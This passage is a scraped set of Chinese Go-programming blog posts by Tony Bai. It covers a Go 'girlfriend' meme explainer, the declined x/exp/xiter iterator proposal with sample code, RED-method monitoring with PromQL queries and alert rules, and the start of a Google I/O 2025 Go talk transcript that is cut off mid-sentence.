本身就是一种强大的 DSL，过度封装反而可能引入新的问题。 9. “cooks you meals from scratch” (从零开始为你做饭)\nMeme 解读： 她心灵手巧，能用最新鲜的食材（标准库）为你烹制美味佳肴，而不是依赖各种半成品（重型框架或过多第三方库）。 Go 语言真相： Go 拥有一个异常强大且设计精良的标准库。无论是网络编程 (net/http, net)、JSON/XML 处理 (encoding/json, encoding/xml)、文件操作 (os, io)、加密解密 (crypto/*)，还是并发原语 (sync, sync/atomic)，标准库都提供了高质量的实现。这使得 Go 开发者在很多场景下可以“自给自足”，减少对外部依赖，构建出更轻量、更可控的系统。 10. “reviews your code every night” (每晚都审查你的代码)\nMeme 解读： 她非常关心你的代码质量，时刻帮你把关。 Go 语言真相： 这可以从几个层面理解： 静态类型检查： Go 是一门静态类型语言，编译器在编译阶段就能帮你发现大量的类型错误和低级 Bug，就像一位尽职的“审查员”。 go vet 等工具： Go 工具链内置了 go vet 等静态分析工具，可以帮助检查代码中潜在的错误或可疑构造。 社区文化： Go 社区非常重视 Code Review 的实践，鼓励通过同行评审来提升代码质量。 语言设计本身： Go 语言的简洁性和一些强制性规范（如未使用变量的编译错误），也在某种程度上“迫使”开发者写出更清晰、更规范的代码，更易于审查。 11. “compiles fast” (编译快)\nMeme 解读： 她做事麻利，从不拖沓。 Go 语言真相： 这绝对是 Go 语言最令人称道的特性之一！Go 的编译速度极快，即使是中大型项目，编译过程通常也只需要十几秒钟。这极大地提升了开发者的工作效率和迭代速度，减少了漫长的等待时间，让开发体验如丝般顺滑。快速编译使得“编码-编译-测试”的循环非常高效。 小结：“Go语言女友”，为何如此理想？ 看完了对 “gopher gf” Meme 图的逐条解读，我们不难发现，这位“理想女友”的每一个“可爱特质”，都精准地映射了 Go 语言在现实世界中的核心优势：\n简洁易学 (cute) 维护成本低 (low-maintenance) 依赖管理清晰 (leaves you love letters in go.mod) 具备韧性的错误处理 (panics but quickly recovers) 推崇通信共享内存的并发模型 (shares her emotions by communicating) 重视并发安全 (thinks mutexes are romantic) 明确的运行时错误反馈 (doesn’t cry when invalid memory address or nil pointer dereference) 崇尚直接、避免过度抽象 (thinks ORM is astrology for devs) 强大的标准库 (cooks you meals from scratch) 利于代码质量保障的特性与文化 (reviews your code every night) 闪电般的编译速度 (compiles fast) 正是这些特性，使得 Go 语言在云原生、微服务、分布式系统、网络编程、命令行工具等众多领域大放异彩，成为越来越多开发者和企业的首选。它就像一位可靠、高效、易于相处且不乏生活情趣的“伴侣”，帮助我们更轻松、更愉快地构建出色的软件系统。\n当然，Meme 终归是 Meme，它用一种轻松幽默的方式，概括了 Go 语言的诸多美好。现实中的 Go 语言也并非完美无缺，它依然在不断发展和进化。但不可否认的是，这些“可爱”的特质，正是 Go 语言独特魅力和强大生命力的源泉。\n那么，你心中的“Go 语言女友”又是怎样的呢？或者，你最欣赏 Go 语言的哪个“可爱”特质？\n欢迎在评论区分享你的看法和脑洞！如果你觉得这篇文章有趣且让你对 Go 语言有了更深的（或者说更“萌”的）理解，也请转发给你身边的 Gopher 朋友们，一起感受这份来自代码世界的“浪漫”与“可爱”！\n注：本文部分内容经过AI润色和优化，以提升读者阅读体验。\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/30/gopher-girlfriend/","summary":"\u003cp\u003e当Gopher拥有了“Go语言女友”：一张图带你读懂Go的那些“可爱”特性 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"当Gopher拥有了“Go语言女友”：一张图带你读懂Go的那些“可爱”特性"},{"content":"Go x/exp/xiter提案搁浅背后：社区的选择与深度思考 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo x/exp/xiter提案搁浅背后：社区的选择与深度思考 五月 29, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/05/29/xiter-declined\n大家好，我是Tony Bai。\n随着 Go 1.22 中 range over func 实验性特性的引入，以及在 Go 1.23 中该特性的最终落地（#61405），Go 社区对迭代器（Iterators）的讨论达到了新的高度。在这一背景下，一项旨在提供标准迭代器适配器（Adapters）的提案 x/exp/xiter (Issue #61898) 应运而生，曾被寄予厚望，期望能为 Go 开发者带来一套便捷、统一的迭代器操作工具集。然而，经过社区的广泛讨论和官方团队的审慎评估，该提案最终被标记为“婉拒并撤回 (declined as retracted)”。本文将对 x/exp/xiter 提案的核心内容做个简单解读，说说社区围绕它的主要争论点，以及最终导致其搁浅的关键因素，并简单谈谈这一决策对 Go 语言生态的潜在影响与启示。\nx/exp/xiter：构想与核心功能 x/exp/xiter 提案由 Russ Cox (rsc) 发起，旨在 golang.org/x/exp/xiter 包中定义一系列迭代器适配器。这些适配器主要服务于 Go 1.23 中引入的 range over func 特性，提供诸如数据转换 (Map)、过滤 (Filter)、聚合 (Reduce)、连接 (Concat)、并行处理 (Zip) 等常用功能。\n其核心目标是：\n提供标准化的迭代器操作工具： 帮助开发者以更声明式的方式处理序列数据。 探索迭代器在 Go 中的惯用法： 将其置于 x/exp 目录下，意在收集社区反馈，探讨这些适配器如何融入现有的 Go 代码风格，以及是否最终适合进入标准库 iter 包。 提案中包含了一系列具体的函数定义，例如：\nConcat / Concat2: 连接多个序列。 Filter / Filter2: 根据条件过滤序列元素。 Map / Map2: 对序列中的每个元素应用一个函数。 Reduce / Reduce2: 将序列中的元素聚合成单个值。 Zip / Zip2: 并行迭代两个序列。 Limit / Limit2: 限制序列的长度。 Equal / Equal2 (及 EqualFunc 版本): 比较两个序列是否相等。 Merge / Merge2 (及 MergeFunc 版本): 合并两个有序序列。 值得注意的是，许多函数都提供了针对 iter.Seq[V]（单值序列）和 iter.Seq2[K, V]（键值对序列）的两个版本，这导致了 API 数量上的成倍增加。\n以下是一个简单的设想用法示例：\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;iter\u0026#34; // 假设 xiter 包已存在且包含提案中的函数 // \u0026#34;golang.org/x/exp/xiter\u0026#34; ) // 假设的 Filter 函数 func Filter[V any](f func(V) bool, seq iter.Seq[V]) iter.Seq[V] { return func(yield func(V) bool) { for v := range seq { if f(v) \u0026amp;\u0026amp; !yield(v) { return } } } } // 假设的 Map 函数 func Map[In, Out any](f func(In) Out, seq iter.Seq[In]) iter.Seq[Out] { return func(yield func(Out) bool) { for in := range seq { if !yield(f(in)) { return } } } } func main() { numbers := func(yield func(int) bool) { for i := 1; i \u0026lt;= 5; i++ { if !yield(i) { return } } } // 设想：筛选偶数，然后平方 evenSquares := Map( func(n int) int { return n * n }, Filter( func(n int) bool { return n%2 == 0 }, numbers, ), ) for sq := range evenSquares { fmt.Println(sq) // 预期输出: 4, 16 } } 社区热议：挑战与权衡 x/exp/xiter 提案引发了社区成员的广泛讨论，焦点集中在 API 设计、易用性、与 Go 语言既有哲学的契合度等多个方面。\nAPI 设计与易用性 链式调用 vs. 嵌套函数调用: 一些开发者指出，与 Java Streams 或 C# LINQ 那样的流畅链式调用（seq.Map(…).Filter(…)）相比，Go 中基于顶层函数的嵌套调用（Filter(Map(seq, …))）在可读性和编写顺序上存在不足。然而，实现链式调用需要泛型方法，而 Russ Cox指出泛型方法在 Go 中面临巨大的实现挑战（动态代码生成、性能问题、接口检查复杂性等），因此短期内不太可能实现。\n函数参数顺序: 关于 Filter, Map, Reduce 等函数中，回调函数 f 与序列 seq 的参数顺序，社区存在不同看法。\nbenhoyt认为回调函数应置于末尾，以符合 Go 标准库中如 sort.Slice 等多数函数的习惯，便于使用内联函数字面量。 aarzilli 和 Russ Cox 则倾向于将回调函数置于首位（如 Map(f, seq)），理由是这更利于函数组合时的阅读顺序（从内到外或从后往前阅读），并且与 Lisp, Python, Haskell 等语言的类似库保持一致。Russ Cox 最终在提案更新中将 Reduce 的函数参数也移至首位。 匿名函数冗余: DeedleFake等人指出，在没有更简洁的匿名函数语法（如 #21498 提案）的情况下，使用这些适配器时，匿名函数的类型签名显得冗余和笨拙，降低了代码的简洁性。\nSeq vs. Seq2 的双重性 提案中大量函数针对 iter.Seq[V] 和 iter.Seq2[K, V] 提供了两个版本（例如 Map 和 Map2），这直接导致了 API 接口数量的翻倍。虽然 Russ Cox 认为这只是“重复而非复杂性”，因为学习了 Foo 形式后，Foo2 形式只是一个简单的规则，但仍有社区成员担忧这会使包显得臃肿，影响开发者体验，并随着未来可能增加更多适配器而使问题恶化。\nZip 的语义之争 提案中的 Zip 函数设计为当一个序列耗尽后，仍会继续迭代另一个序列，并在 Zipped 结构体中通过 Ok1/Ok2 标志位标示元素是否存在。这与 Python 等语言中 zip 在最短序列结束时即停止的行为不同，更类似于 zip_longest。社区开发者就此展开讨论，认为应提供传统意义上的 Zip（返回 Seq2[V1, V2] 并在短序列结束时停止）和行为类似 zip_longest 的版本（如 ZipAll 或将提案中的 Zip 重命名为 ZipLongest）。\n标准库的边界与 Go 的哲学 “Go 风格”与“过度抽象”: 一些开发者对引入这类高度函数式的适配器表示担忧，认为它们可能与 Go 语言简洁、直接、偏向过程式循环的既有风格不符，可能导致“过度抽象”。Russ Cox 也承认存在这类担忧，并指出提案的初衷是补充而非取代传统的 for 循环。 x/exp 的定位: Russ Cox强调，x/exp 仓库并非随意尝试新事物的试验场，而是存放那些被认为是标准库潜在候选者的地方，因为即使是 x/exp 中的包，也需要长期支持。 DSL (领域特定语言) 的可能性: 有开发者提出了借鉴 jq 或 C# LINQ 的思路，通过 DSL 来解决迭代器链式操作的易用性问题。但 Russ Cox 认为这不符合 Go 当前的目标，且可能带来性能和复杂性问题。 最终的抉择：为何搁置？ 在 Go 1.23 发布一段时间后，经过充分的讨论和实践反馈，Russ Cox 和 Austin Clements 代表提案审查小组，宣布将此提案标记为**“婉拒并撤回 (declined as retracted)”**。\n主要原因可以归纳为：\n缺乏广泛共识与“过度抽象”的担忧: 官方团队认为，对于将这些适配器加入标准库并鼓励其广泛使用，社区并未形成足够强的共识。许多情况下，直接使用 for 循环可能更为清晰和符合 Go 的惯用法，而这些适配器可能导致“过度抽象”。 实际使用体验与语法限制: 许多开发者在实际使用迭代器后发现，由于当前 Go 语言匿名函数语法的冗余以及缺乏流畅的链式调用机制，这些适配器的使用体验并不理想，甚至不如手写循环或自定义辅助函数来得直接。 为第三方库发展留出空间: 官方认为，与其在标准库中提供一套可能不完美或引发争议的工具集，不如将这部分探索和创新留给社区和第三方库。撤回官方提案可以为第三方迭代器工具库的涌现和发展创造更有利的环境。 迭代器特性尚年轻: Go 中的迭代器特性相对较新，社区和官方都需要更多时间来积累使用经验，观察哪些模式和辅助函数真正被广泛需要和接受。未来可能会基于更充分的数据和实践，提出更具针对性的小型提案。 展望与启示 x/exp/xiter 提案的搁浅，并不意味着 Go 语言在迭代器支持上的停滞。相反，它反映了 Go 团队在语言发展上一贯的审慎和务实态度。\n对 Go 开发者而言，这意味着：\nrange over func 依然强大: Go 1.23 提供的原生迭代器机制是核心，开发者可以充分利用它来构建高效、灵活的数据处理逻辑。 自定义与第三方库是当前主流: 对于迭代器的转换、过滤、聚合等操作，目前主要依赖开发者自行编写辅助函数，或选用社区中涌现的第三方迭代器工具库（如 deedles.dev/xiter, github.com/bobg/seqs, github.com/jub0bs/iterutil 等在讨论中被提及的个人项目）。 关注语言本身的演进: 诸如更简洁的匿名函数语法 (#21498) 等相关语言特性的提案，如果未来能被接受，可能会极大地改善函数式编程风格在 Go 中的体验，并可能为官方再次考虑标准化迭代器工具铺平道路。 Go 的哲学不变: 清晰、简洁、可读性以及避免不必要的复杂性，仍然是 Go 语言设计的核心考量。任何新特性或库的引入，都将在此框架下被严格审视。 x/exp/xiter 的讨论过程本身就是一次宝贵的社区实践，它汇集了众多 Go 开发者的智慧与经验，即便提案未被接纳，其间的深入思考和论证也为 Go 语言迭代器生态的未来发展指明了方向，并留下了丰富的参考。我们期待看到 Go 社区在迭代器领域持续探索，涌现出更多符合 Go 风格且能切实解决开发者痛点的优秀工具与实践。\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/29/xiter-declined/","summary":"\u003cp\u003eGo x/exp/xiter提案搁浅背后：社区的选择与深度思考 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go x/exp/xiter提案搁浅背后：社区的选择与深度思考"},{"content":"云原生时代，如何用RED三板斧搞定服务监控？ - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n云原生时代，如何用RED三板斧搞定服务监控？ 五月 26, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/05/26/monitor-design-with-red\n大家好，我是Tony Bai。\n随着业务的快速发展，越来越多的应用开始拥抱云原生。我们享受着微服务带来的解耦、容器带来的标准化、Kubernetes带来的弹性伸缩。但与此同时，一个灵魂拷问也摆在了每一位开发者和运维工程师面前：我的服务还好吗？用户用得爽吗？出问题了能快速定位吗？\n传统的只盯着CPU、内存、磁盘的监控方式，在高度动态和分布式的云原生环境下，常常显得力不从心，就像“瞎子摸象”，难以窥得全貌。我们需要一种更直接、更面向用户体验、更标准化的方法来衡量服务的健康状况。\n今天，我就结合一个通用的示例和大家说一套被业界广泛认可的服务监控黄金法则——RED方法，谈谈如何按照RED方法设计出简单又好用的监控指标与告警。\n什么是RED方法？ RED方法并非什么高深莫测的理论，它非常简洁，由三个核心指标的首字母组成：\nR – Rate (请求速率) E – Errors (错误率) D – Duration (响应时长) 这“三板斧”虽然简单，却直击服务质量的核心。它是由Grafana Labs的VP Product，同时也是Prometheus和OpenMetrics早期贡献者Tom Wilkie于2018年提出的，旨在为现代服务（尤其是微服务）提供一套简单、一致且以服务为中心的监控指标集。\n让我们逐一拆解：\nR – Rate (请求速率) 它是什么？ 指服务在单位时间内（通常是每秒）处理的请求数量，我们常说的QPS (Queries Per Second) 或RPS (Requests Per Second) 就是它。 为何重要？ 它是服务负载的直接体现。请求速率的异常波动（骤增或骤降）往往预示着潜在的问题，比如突发流量、上游故障、甚至是恶意攻击。同时，它也是容量规划和弹性伸缩策略的重要依据。 关注什么？ 我们不仅要看服务的总请求速率，还应该关注： 按API端点/服务接口划分的速率： 了解哪些接口最繁忙，哪些接口流量异常。 按客户端类型划分的速率： 识别不同调用方的行为模式。 E – Errors (错误率) 它是什么？ 指服务在处理请求时，发生错误的请求所占的百分比，或者单位时间内的错误请求总数。在HTTP服务中，我们通常重点关注服务器端错误，即HTTP状态码为5xx的请求。 为何重要？ 错误率是服务可靠性的“晴雨表”，直接关系到用户体验。没有人喜欢看到“服务器开小差了”的提示。持续的高错误率是P0级故障的典型特征。 关注什么？ 整体服务错误率： 快速判断服务是否处于“亚健康”或故障状态。 按API端点/服务接口划分的错误率： 精准定位是哪个功能出了问题。 按错误类型/状态码划分的错误率： 帮助我们理解错误的性质，是代码bug、依赖问题还是配置错误。 D – Duration (响应时长/延迟) 它是什么？ 指服务处理单个请求所需的时间，也就是我们常说的“延迟”。 为何重要？ “天下武功，唯快不破。” 响应时长是用户体验的生命线。没有人愿意为一个需要加载半天的页面或应用买单。 关注什么？ 平均延迟很容易被少数极端慢请求“平均掉”，因此我们更关注延迟的百分位数 (Percentiles)，特别是： P99 (99th percentile): 99%的请求都比这个值快。代表了体验最差的那1%用户的感受。 P95 (95th percentile): 95%的请求都比这个值快。 P50 (50th percentile / Median): 中位数延迟，代表了典型用户的体验。 同时，也应关注不同API端点/服务接口的延迟分布。 RED方法 vs. 其他监控方法论 你可能会问，业界还有USE方法、Google SRE的“四个黄金信号”等，RED方法和它们是什么关系呢？\nUSE方法 (Utilization, Saturation, Errors): 由性能大神Brendan Gregg提出，它更侧重于分析单个系统资源的健康状况，比如CPU使用率、内存饱和度、磁盘错误等。它是RED方法的重要补充，当RED指标显示服务异常时，USE指标能帮助我们判断是不是资源瓶颈导致的。 四个黄金信号 (Latency, Traffic, Errors, Saturation): Google SRE实践的精华。RED方法可以看作是对前三个信号（延迟、流量、错误）的一种更聚焦、更易于落地的诠释。RED中的Rate对应Traffic，Duration对应Latency，Errors对应Errors。RED巧妙地避开了相对抽象和难以标准化的Saturation（饱和度），使其更具普适性。 简单来说，RED方法是在前人智慧的基础上，针对现代分布式服务架构，提炼出的一套“最小完备”且“以用户为中心”的服务健康度量标准。\n云原生时代，为什么RED如此重要？ 微服务架构中，RED方法（Rate、Errors、Duration）为每个微服务提供了独立的监控手段，使得在故障发生时能够迅速定位问题服务。这种方法能够通过服务之间的调用链，清晰地衡量每一跳的性能，从而构建出完整的端到端视图。\n在动态环境中，容器和实例的频繁创建与销毁，以及弹性伸缩的特性，使得传统基于单机资源的监控变得复杂。然而，服务级的RED指标能够稳定地反映服务的整体健康状况，无论其背后有多少实例在支撑。\n此外，RED指标直接关系到用户体验。Rate、Errors和Duration三个指标分别反映了用户能否正常快速地使用服务。因此，这些指标对于提升用户满意度至关重要。\nRED方法还提供了一套标准化的监控语言，适用于不同类型的服务，如HTTP API、gRPC服务和消息队列处理等。这种通用的监控词汇有助于团队的协作与知识传递。\n最后，基于RED指标设置的告警能够更精准地反映真实的用户影响，降低误报率，使告警变得更加可操作。这种精准的监控和告警机制不仅提升了服务的可靠性，也增强了团队对服务健康状况的把控能力。\nRED简单又强大，那么我们如何将它落地呢？下面我们就用一个服务的通用指标和告警设计为例，来看看RED方法下常见的服务指标和告警都有哪些。\n如何落地RED监控？（通用指标与告警设计） 虽然具体的工具选择（如Prometheus, Grafana, SkyWalking, OpenTelemetry等）多种多样，但RED指标的设计思路是通用的。我们以一个常见的HTTP服务为例，看看如何设计其RED指标（遵循Prometheus指标规范）：\n通用服务RED指标设计 (HTTP服务) http_requests_total (Counter类型): 记录处理的HTTP请求总数。\n核心标签 (Labels): service_name: 服务唯一标识，如 “order-service”。 path: API路径模板，如 “/api/v1/orders/{id}” (注意使用模板，避免基数爆炸)。 method: HTTP方法，如 “GET”, “POST”。 status_code: HTTP响应状态码，如 “200″, “404″, “503″。 http_request_duration_seconds (Histogram或Summary类型): 记录HTTP请求的处理时长。\n核心标签: 同上，status_code也可以用status_code_class（如”2xx”, “5xx”）来减少基数。 基于这两个基础指标，我们就可以通过查询语言（如PromQL）派生出RED指标：\nRate (QPS): sum(rate(http_requests_total{service_name=\u0026#34;\u0026lt;your_service\u0026gt;\u0026#34;}[5m])) by (service_name, path, method) Error Rate (5xx错误率): (sum(rate(http_requests_total{service_name=\u0026#34;\u0026lt;your_service\u0026gt;\u0026#34;, status_code=~\u0026#34;5..\u0026#34;}[5m])) by (service_name, path, method)) / (sum(rate(http_requests_total{service_name=\u0026#34;\u0026lt;your_service\u0026gt;\u0026#34;}[5m])) by (service_name, path, method)) Duration (P99延迟): histogram_quantile(0.99, sum(rate(http_request_duration_seconds_bucket{service_name=\u0026#34;\u0026lt;your_service\u0026gt;\u0026#34;}[5m])) by (le, service_name, path, method)) 基于RED指标的通用告警设计 告警的目的是及时发现问题并驱动行动。以下是一些基于RED的通用告警规则思路：\nRate告警 (请求速率异常)： * 规则： 服务总请求速率在过去10分钟内，与1小时前同一时刻相比，骤降70%以上（或骤增数倍）。 * 级别： P1/P2 (视业务敏感度) * 告警提示： “[服务名]请求速率异常波动！”\nError告警 (错误率超标)： * 规则： 服务整体5xx错误率在过去2分钟内持续高于5%。 * 级别： P0 * 告警提示： “严重：[服务名]5xx错误率飙升至[当前值]！” * 规则： 某个关键API端点的5xx错误率在过去3分钟内持续高于10%。 * 级别： P1 * 告警提示： “警告：[服务名]接口[API路径]错误率过高！”\nDuration告警 (延迟超标)： * 规则： 服务整体P99延迟在过去5分钟内持续高于2秒。 * 级别： P0 * 告警提示： “严重：[服务名]P99延迟高达[当前值]，用户体验受损！” * 规则： 某个关键API端点的P95延迟在过去5分钟内持续高于1秒。 * 级别： P1 * 告警提示： “警告：[服务名]接口[API路径]P95延迟过高！”\nRED并非银弹：构建全面的可观测性 虽然RED方法非常强大，但它也不是万能的。一个完善的云原生可观测性体系，还需要：\nUSE方法： 监控底层基础设施和节点的资源使用情况。 业务指标： 监控与业务直接相关的指标，如订单成功率、在线用户数等。 分布式追踪： 理解请求在复杂调用链中的完整路径和每一跳的耗时。 日志管理： 详细的日志是问题排查的“最后防线”。 将RED指标与这些数据源关联起来，才能形成从宏观到微观、从用户体验到系统内部的完整排查路径。\n小结 在纷繁复杂的云原生世界，RED方法为我们提供了一套简洁、有效且以用户为中心的“导航系统”。它帮助我们聚焦于真正重要的服务健康指标，快速发现问题，优化性能，最终保障并提升用户体验。\n希望今天的入门RED分享能对你有所启发。不妨现在就开始思考，如何在你的服务中实践RED监控吧！\n你对RED方法有什么看法？在你的监控实践中，还有哪些好用的“三板斧”？欢迎在评论区留言交流！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/26/monitor-design-with-red/","summary":"\u003cp\u003e云原生时代，如何用RED三板斧搞定服务监控？ - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"云原生时代，如何用RED三板斧搞定服务监控？"},{"content":"Google I/O 2025 Go 语言进展：生产力、生产就绪与 AI 赋能 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGoogle I/O 2025 Go 语言进展：生产力、生产就绪与 AI 赋能 五月 25, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/05/25/go-at-googleio-2025\n大家好，我是Tony Bai。\n在Google I/O 2025大会上，Go 产品负责人 Cameron Balahan 和开发者关系负责人 Marc Dougherty 详细阐述了 Go 语言在生产力、生产就绪度和开发者体验方面的最新进展及未来规划。演讲强调了 Go 语言以规模化为核心的设计理念及其三大指导原则：生产力、超越语言的完整体验和生产就绪。重点介绍了Go 1.23和Go 1.24版本在生产力方面的革新，包括引入迭代器简化循环、gopls 的智能现代化能力以及通过 go get 管理 Go 工具链；在生产就绪性方面，突出了 WebAssembly 支持的增强、安全体系的持续深化（特别是后量子密码学的透明集成和 FIPS-140 支持的便捷启用）以及核心性能的显著提升（如全新的 map 实现）。此外，演讲还强调了 Go 语言在 AI 基础设施构建中的核心地位，并展望了 Go 1.25+ 在 SIMD 支持、多核硬件优化等方向的探索，同时重申了 Go 1.0 的兼容性承诺。\n这里是基于演讲视频，借助AI整理的文字稿，我做了简单校对和格式调整，供大家参考。\n原视频链接：https://www.youtube.com/watch?v=kj80m-umOxs 建议大家也都看一下。\n我是 Cameron，我是 Google Go 编程语言的产品负责人。我是 Marc，我负责 Go 的开发者关系。\n对于那些刚接触我们项目的人来说，Go 是一个由 Google 支持的开源编程语言，它能让开发者和软件工程团队快速构建更安全、可靠和可扩展的生产系统。\nGoogle 在 15 年前将 Go 作为一个开源项目发布，在此之前两年，Google 为了应对自身在构建和维护大规模、关键任务系统方面面临的挑战而启动了这个项目。使用现有的工具，我们不得不在动态解释性语言的生产力和强类型编译语言的生产就绪性之间做出选择。但我们两者都想要，所以我们构建了Go。\nGo 的核心前提是开发工具从一开始就应该优先考虑可扩展性，这意味着要考虑到现代软件的架构方式、现代工作负载运行的环境，以及最重要的，编写、操作和维护这一切的团队。因此，考虑到这一点，我们围绕三个原则构建了Go，这些原则至今仍在指导着我们。\n首先，Go 是高效的。它易于学习，易于维护，可读性强，并且能够很好地适应不同的团队、工作负载和用例。\n其次，Go 不仅仅是一门语言，它是一个完整的开发者体验。从 IDE 到生产环境，我们提供端到端的解决方案，涵盖整个软件开发生命周期的所有接触点。我们提供所有这一切，开箱即用，并带有合理的、可自动调整的默认设置。\n第三，Go 是生产就绪的。它可靠、高效、稳定且安全，这使得它非常适合从简单应用到企业系统和关键基础设施的各种场景。\n多年来，Go 已经成为现代云计算的核心，并由此延伸到现代网络。世界上许多最知名的云技术都是用 Go 编写的，包括 Kubernetes、Docker、Terraform 等等。各种规模的公司，从个人到初创企业再到大型企业，都已采用 Go，尤其是在其基于云的工作负载方面。这在很大程度上是因为 Go 是为云计算而专门构建的。Go 所支持的库、集成和架构是为云而生的，而不是后来才为云进行改造的。这意味着你可以比使用其他语言更快、更容易地实现云计算的优势。\n但你不必相信我的话。Go 用户一直给予我们非凡的反馈和客户满意度(注：93%)——这种水平在行业内几乎闻所未闻。使用情况也证明了这一点。如今，Go 比以往任何时候都更受欢迎，拥有数百万开发者，并且仍在快速增长。事实上，根据去年的NewStack的一项调查，Go 是仅有的两种增长速度超过开发者本身增长速度的语言之一。另一种是 Rust，我们认为它与 Go 配合得非常好，但这是另一个话题了。这样的迹象随处可见。Go 一直在 Stack Overflow 上被评为最受欢迎的技术之一。去年，Cloudflare 报告称，Go 是互联网上支持 API 调用的第一大语言。\n因此，无论你是个人开发者、企业，还是介于两者之间的组织，Go 都能让你快速、更可靠地构建和扩展你的项目。你可能会很高兴你这样做了。接下来，Marc 将深入探讨 Go 的所有最新进展。交给你了，Marc。\n谢谢，Cameron。Go 每年发布两次新的主版本，分别在八月和二月。在过去的一年里，我们在 1.23 和 1.24 版本中发布了许多令人兴奋的新功能，以帮助你和你的团队提高工作效率。\n在1.23 版本中，我们引入了带有 seq 和 seq2 类型的迭代器。相较于经典的 Go 风格，迭代器不仅仅是标准库中的一个新类型。它们是一种优雅的方式，可以使用已经熟悉的 for range 表达式来简化循环，并将迭代的机制与循环体分开。在迭代器出现之前，有几种不同的方法来遍历数据。一些方法会返回一个包含所有结果的切片，这对于大型集合来说可能效率低下。另一种方法是创建自己的迭代器对象，就像这段代码一样，它使用了 Google Cloud Storage 库。注意这里的复杂性。我们的循环中有流程控制和错误检查。并且该错误检查需要在每个循环中重复。使用迭代器，你可以使用熟悉的 for range 语法来执行循环。复杂的流程控制则保留在迭代器内部。这使得我们的循环体可以专注于处理文件或错误，而无需担心流程控制。\n从 1.24 版本开始，标准库在 strings、slices 和 maps 包中包含了一系列迭代器。因为迭代器只是一个函数，所以你可以定义自己的迭代器，包括为其他地方定义的集合类型定义迭代器。这是我为 Cloud Storage 示例定义的迭代器。声明看起来有点复杂，但你可以看到这里的流程控制与之前具有相同的效果。这个迭代器让我们能够将流程控制处理从循环中分离出来，并使它们更具可读性。\n随着像迭代器这样的新概念的引入，Go 的垂直集成工具可帮助你的代码库与最新的模式和习惯用法保持同步。Go 的语言服务器 gopls 可以与你的 IDE 集成，既可以通过大多数 IDE 中的语言服务器支持，也可以通过插件（如 VS Code Go 扩展）实现。Gopls 在常规的语言服务器功能方面提供帮助，例如类型检查、函数签名和引用。但 gopls 的功能远不止于此。还记得那个复杂的迭代器定义吗？由于 gopls 从第一天起就知道新功能，因此它可以帮助你在编写时避免错误。在这里，它注意到了一个错误，即我们的迭代器可能会在应该停止后调用我们的 yield 函数。gopls 包含一套现代化功能，这些常见模式后来已作为语言特性或标准库新增功能得到解决。虽然你可以在整个代码库上运行现代化工具，但 gopls 可以在你编辑的任何地方内联建议它们。这里有一些旧模式的例子在左边，以及它们现代化的替代方案在右边。\n最后一个现代化工具展示了 JSON 解析器的一个新特性，称为omitzero。JSON 包从 Go 1.0 开始就是 Go 